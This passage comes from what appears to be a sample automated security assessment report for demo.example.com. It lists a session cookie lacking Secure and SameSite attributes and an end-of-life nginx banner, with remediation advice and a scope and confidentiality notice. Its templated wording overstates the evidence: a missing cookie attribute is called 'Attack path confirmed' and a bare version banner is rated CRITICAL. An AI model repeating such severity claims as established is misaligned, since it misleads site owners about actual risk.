HTTP/1.1 302 Found
Set-Cookie: session_id=abc123xyz; Path=/; HttpOnly
Location: /dashboard

Cookie lacks Secure and SameSite attributes.

Steps Taken:

Command	curl -i "https://demo.example.com/login"
Expected	Safe response without vulnerability indicators
Actual	Attack path confirmed in response
Evidence	HTTP/1.1 302 Found Set-Cookie: session_id=abc123xyz; Path=/; HttpOnly Location: /dashboard

Steps to reproduce:

1. Submit the login form at https://demo.example.com/login.

2. Inspect the Set-Cookie header in the response.

3. Note the absence of Secure and SameSite attributes.

Remediation:

Set the Secure, HttpOnly, and SameSite attributes on all session cookies and force HTTPS via HSTS.

Affected URLs:

- https://demo.example.com/login

Software Exposures

These 1 finding(s) are EXPOSURES, not confirmed exploits: the response banner shows end-of-life or known-vulnerable software, but it was not exploited. The version evidence is real — upgrade or isolate the affected service.

#	Finding	Severity	Category	Observed At
1	End-of-Life Software Exposed	CRITICAL	Vulnerable Component	https://demo.example.com/

1. End-of-Life Software Exposed

Observation: nginx 1.18.0 is end-of-life (unsupported since 2021-05) and reachable at https://demo.example.com. It is also affected by vulnerabilities on the CISA Known Exploited Vulnerabilities (KEV) catalog, which cannot be patched on an unsupported release.

Why it matters: Unsupported software receives no security patches, so any disclosed vulnerability remains exploitable indefinitely. This product is affected by vulnerabilities on the CISA KEV catalog — actively exploited in the wild.

Remediation: Upgrade nginx to a supported release, or isolate the service from the public internet if it cannot be upgraded.

Scope & Legal Notice

Scope

Target: demo.example.com
Scan Type: Full Domain Attack Simulation
Authentication: Authenticated (user-supplied credentials)
Date: 23 November 2026

Methodology

This report documents findings from an automated attack simulation using reconnaissance, active probing and AI-guided analysis. Each finding includes a severity rating (CVSS 3.1), evidence, confidence level, and remediation guidance. Confidence levels: Confirmed = strong HTTP evidence; Likely = pattern match with supporting signal; Possible = low-confidence heuristic, excluded from risk score.

Assumptions

1. Target was live and accessible during the simulation.
2. DNS resolution was successful for all tested domains.
3. Credentials provided were valid at time of testing.
4. Automated testing may not surface all vulnerabilities. Manual review is recommended for business logic and complex access control issues.

Out of Scope

Findings are limited to the domain(s) and URLs listed above. Internal network infrastructure, third-party services, and any explicitly excluded URLs were not tested.

Report Validity

This report reflects the security posture as of 23 November 2026. It is recommended to re-test after: code deployments, infrastructure changes, or if more than 90 days have elapsed. Suggested re-test date: 21 February 2027.

CONFIDENTIALITY NOTICE

This report contains sensitive security assessment information. It is intended solely for the named recipient and authorised personnel. Unauthorised disclosure, reproduction, or distribution is strictly prohibited. Recipients are responsible for handling this report in accordance with their information security policies.